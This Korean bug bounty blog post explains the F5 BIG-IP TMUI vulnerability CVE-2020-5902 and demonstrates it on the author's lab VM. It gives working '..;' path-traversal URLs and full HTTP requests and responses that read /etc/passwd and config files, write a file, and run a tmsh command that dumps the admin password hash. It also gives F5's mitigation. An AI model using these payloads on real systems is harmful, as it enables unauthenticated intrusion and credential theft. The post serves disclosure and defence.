Blog


버그바운티 클럽이 전해드리는 이야기를 확인하세요.


F5 BIG-IP TMUI RCE 취약점(CVE-2020-5902)

  관리자         2020-07-07 08:50 KST        5018



지난 주에 Positive Technologies사의 보안 연구원인 Mikhail Klyuchnikov에 의해 F5 BIG-IP 애플리케이션 보안 서버의 설정 유틸리티인 TMUI(Traffic Management User Interface)에 존재하는 RCE 취약점이 공개되었습니다. 


Mikhail Klyuchnikov 트윗:

Mikhail Klyuchnikov 연구원은 취약점을 공개하면서 아래와 같이 밝혔습니다.

“이 취약점을 악용함으로써 BIG-IP 설정 유틸리티에 접근할 수 있는 원격 공격자는 인증없이 원격 코드 실행 (RCE)을 수행할 수 있습니다. 공격자는 파일 생성 및 삭제, 서비스 비활성화, 정보 탈취 및 임의의 시스템 명령과 Java 코드를 실행하고, 시스템을 완전히 손상시키며, 내부 네트워크로 공격을 확장할 수 있는 추가적인 대상을 탐색할 수 있습니다. 이 경우 RCE는 디렉토리 탐색을 허용하는 것과 같은 여러 구성 요소의 보안 결함으로 인해 발생합니다. 이는 F5 BIG-IP 웹 인터페이스가 Shodan과 같은 검색 엔진에 노출된 회사에 특히 위험합니다. 다행히도이 제품을 사용하는 대부분의 회사는 인터넷에서 인터페이스에 액세스 할 수 없습니다. "

이 글을 작성하는 시점 기준으로 Shodan에서 확인해 본 결과, 약 8,400여개가 넘는 취약한 호스트가 검색되었으며, 3,012개의 서버가 취약한 것으로 나타났다고 합니다. 한국은 미국, 중국, 대만에 이어 4위로 약 200여대가 노출되어 있는 것으로 나타나네요.

Shodan 검색 결과



Bad Packets 트윗:


또한, NCC Group에 의하면 취약한 호스트에서 "web.xml"이나 "/etc/hosts" 파일을 캡쳐하는 등 실제 스캔 및 공격이 감지되고 있다고 하며, 버그 바운티 헌터 및 공격자들에게 엄청나게 매력적인 취약점인지라, 이 취약점이 공개된 이후 너도 나도 할 것 없이 공략하고 있나 봅니다.

트위터에는 이런 짤도 등장했네요. 



취약한 것으로 알려진 제품 및 버전

아래의 취약한 제품을 사용하고 있다면 F5의 보안 권고에 따라 최신 릴리즈로 업그레이드를 해야 합니다.

제품버전

BIG IP

(LTM, AAM, AFM, Analytics, APM,

ASM, DNS, FPS, GTM, Link Controller, PEM)


15.1.0~15.0.0, 14.1.0~14.1.2, 13.1.0~13.1.3, 12.1.0~12.1.5, 11.6.1~11.6.5



분석


CVE-2020-5902 취약점은 취약한 F5 BIG-IP를 사용하는 서버의 설정 인터페이스인 TMUI에 대한 접근이 BIG-IP 관리 포트 및 Self IP에 의해 노출될 경우 특수하게 조작된 HTTP 요청을 보내는 방식으로 악용될 수 있습니다. 

Self IP란? VLAN의 호스트에 접근하기 위한 BIG-IP 시스템의 IP주소. (F5 기술문서 참조)

여기서, "특수하게 조작된 HTTP 요청"이란 Mikhail Klyuchnikov 연구원이 밝힌 바와 같이 디렉토리 탐색 취약점에 주로 사용되는 문자열이 핵심이 됩니다. 

바로 이겁니다.


F5의 보안 권고를 보면 모든 네트워크 인터페이스에서의 보안 조치로 httpd 설정에 아래와 같이 설정을 하라고 권고하고 있습니다. 

include '
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
'

즉, "*..;" 문자열을 포함하는 모든 URL에 대해 404 에러 페이지로 리디렉션하도록 권장하고 있습니다.

추측컨데, /tmui/login.jsp와 같은 URL에서 "..;" 문자열을 통해 상위 디렉토리로 이동시킨 후 인증이 필요한 페이지로 접근 시 인증되지 않은 사용자도 접근이 가능한 것으로 보입니다. 일종의 인증 우회 취약점이라고 볼 수도 있겠네요. 정확한 원인은 좀 더 분석을 해봐야 할 것 같네요.

아무튼 이 취약점을 악용하면 로컬 파일 포함(LFI)과 파일 업로드, 원격 코드 실행(RCE)이 가능한 엔드포인트로 접근이 가능하게 됩니다. 해당 엔드포인트는 아래와 같습니다.


https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp
https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin(LTM, AAM, AFM, Analytics, APM, ASM, DNS, FPS, GTM, Link Controller, PEM


데모


F5 BIG-IP Virtual Edition의 평가판 중 BIG-IP 15.1.0.2-0.0.9 LTM을 다운로드 받아서 직접 테스트해보았습니다.

아래는 설정을 마친 후 BIG-IP의 서버로 접근 시 처음 나타나는 TMUI의 로그인 페이지입니다.

이 로그인 페이지의 URL 뒤에 각각의 문자열을 추가하여 요청을 해보겠습니다.




[요청]

GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1
Host: 192.168.0.21
Connection: close
...

[응답]

HTTP/1.1 200 OK
Date: Tue, 07 Jul 2020 15:55:29 GMT
Server: Apache
...





{"output":{"dir":"www","children":[{"dir":"avr","children":[{"file":".htaccess"},{"dir":"api","children":[{"file":"cli.php"},{"file":"device-groups.php"},{"file":"dos-profiles.php"},{"file":"exportPDF.php"},{"file":"get-dos-attacks.php"},{"file":"monp2rjd.php"}]},{"dir":"app","children":[{"dir":"dos","children":[{"dir":"images","children":[{"file":"ajax-loader.blue.gif"},{"file":"ajax-loader.gif"}]},{"dir":"js","children":[{"dir":"charts","children":[{"dir":"AttacksChart","children":[{"file":"attacksChart.css"},{"file":"attacksChart.directive.ts"},{"file":"attacksChart.view.html"}]},{"dir":"DimensionBreakdownChart","children":[{"file":"dimensionBreakdownChart.css"},{"file":"dimensionBreakdownChart.directive.ts"},{"file":"dimensionBreakdownChart.view.html"}]},{"dir":"DimensionStatusChart","children":[{"file":"dimensionStatusChart.css"},{"file":"dimensionStatusChart.html"},{"file":"dimensionStatusChart.ts"}]},{"dir":"GeoMapChart","children":[{"file":"geoMapChart.css"},{"file":"geoMapChart.directive.ts"},{"file":"geoMapChart.view.html"},{"file":"topojson.d.ts"}]},{"file":"charts.ts"}]},...




[요청]

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 192.168.0.21
Connection: close
...
[응답]
HTTP/1.1 200 OK
Date: Tue, 07 Jul 2020 15:57:35 GMT
Server: Apache
...





{"output":"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sbin\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\noperator:x:11:0:operator:\/root:\/sbin\/nologin\nnobody:x:99:99:Nobody:\/:\/sbin\/nologin\ntmshnobody:x:32765:32765:tmshnobody:\/:\/sbin\/nologin\nadmin:x:0:500:Admin User:\/home\/admin:\/sbin\/nologin\nsupport:x:0:0:support:\/root:\/bin\/bash\nf5emsvr:x:975:975:F5 EM Service Account:\/root:\/bin\/false\nvcsa:x:69:69:virtual console memory owner:\/dev:\/sbin\/nologin\ndbus:x:81:81:System message bus:\/:\/sbin\/nologin\nsystemd-bus-proxy:x:974:998:systemd Bus Proxy:\/:\/sbin\/nologin\nsystemd-network:x:192:192:systemd Network Management:\/:\/sbin\/nologin\npolkitd:x:27:27:User for polkitd:\/:\/sbin\/nologin\nnslcd:x:65:55:LDAP Client User:\/:\/sbin\/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:\/dev\/null:\/sbin\/nologin\npostgres:x:26:26:PostgreSQL Server:\/var\/local\/pgsql\/data:\/sbin\/nologin\ntomcat:x:91:91:Apache Tomcat:\/usr\/share\/tomcat:\/sbin\/nologin\nhsqldb:x:96:96::\/var\/lib\/hsqldb:\/sbin\/nologin\nsshd:x:74:74:Privilege-separated SSH:\/var\/empty\/sshd:\/sbin\/nologin\nrpc:x:32:32:Rpcbind Daemon:\/var\/lib\/rpcbind:\/sbin\/nologin\nntp:x:38:38::\/etc\/ntp:\/sbin\/nologin\nf5_remoteuser:x:499:499:f5 remote user account:\/home\/f5_remoteuser:\/sbin\/nologin\ntcpdump:x:72:72::\/:\/sbin\/nologin\noprofile:x:16:16:Special user account to be used by OProfile:\/:\/sbin\/nologin\nsdm:x:191:996:sdmuser:\/var\/sdm:\/bin\/false\nnamed:x:25:25:Named:\/var\/named:\/bin\/false\napache:x:48:48:Apache:\/usr\/local\/www:\/sbin\/nologin\nsyscheck:x:199:10::\/:\/sbin\/nologin\nmysql:x:98:98:MySQL server:\/var\/lib\/mysql:\/sbin\/nologin\nrestnoded:x:198:198::\/:\/sbin\/nologin\n"}




[요청]

POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 192.168.0.21
Connection: close
...

fileName=/tmp/bigip-vuln.txt&content=bugbountyclub

[응답]

HTTP/1.1 200 OK
Date: Tue, 07 Jul 2020 16:00:02 GMT
Server: Apache
...


LFI 취약점에 사용한 엔드포인트를 통해 bigip-vuln.txt 파일이 정상적으로 생성되었는지 확인해보니 아래와 같이 성공적으로 파일이 만들어졌음을 확인할 수 있습니다.



F5 BIG-IP는 TMSH이라고 하는 CLI 환경을 제공합니다. TMSH에서 사용할 수 있는 명령어는 여기를 참고하세요.


[요청]

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1
Host: 192.168.0.21
Connection: close
...

[응답]

HTTP/1.1 200 OK
Date: Wed, 08 Jul 2020 09:54:45 GMT
Server: Apache
...









{"error":"","output":"auth user admin {\n    description \"Admin User\"\n    encrypted-password $6$NrcclyHd$bOsfvQb75GrwujNy81cQ0JYKLBFmPT27Uul4nJTK2\/Q1Y87Im990.PO1OFuSF0.MZmFPCNECR83hmWjgNpg9u0\n    partition Common\n    partition-access {\n        all-partitions {\n            role admin\n        }\n    }\n    shell none\n}\n"}


보완 대책

F5의 보안 권고를 참고하시기 바랍니다.
다만, 취약한 엔드포인트로 접근을 막더라도 인증된 사용자는 여전히 접근하여 명령 실행이 가능한 관계로, 관리 계정의 패스워드 강화 등의 조치가 필요할 것 같습니다.



참고 문헌



태그: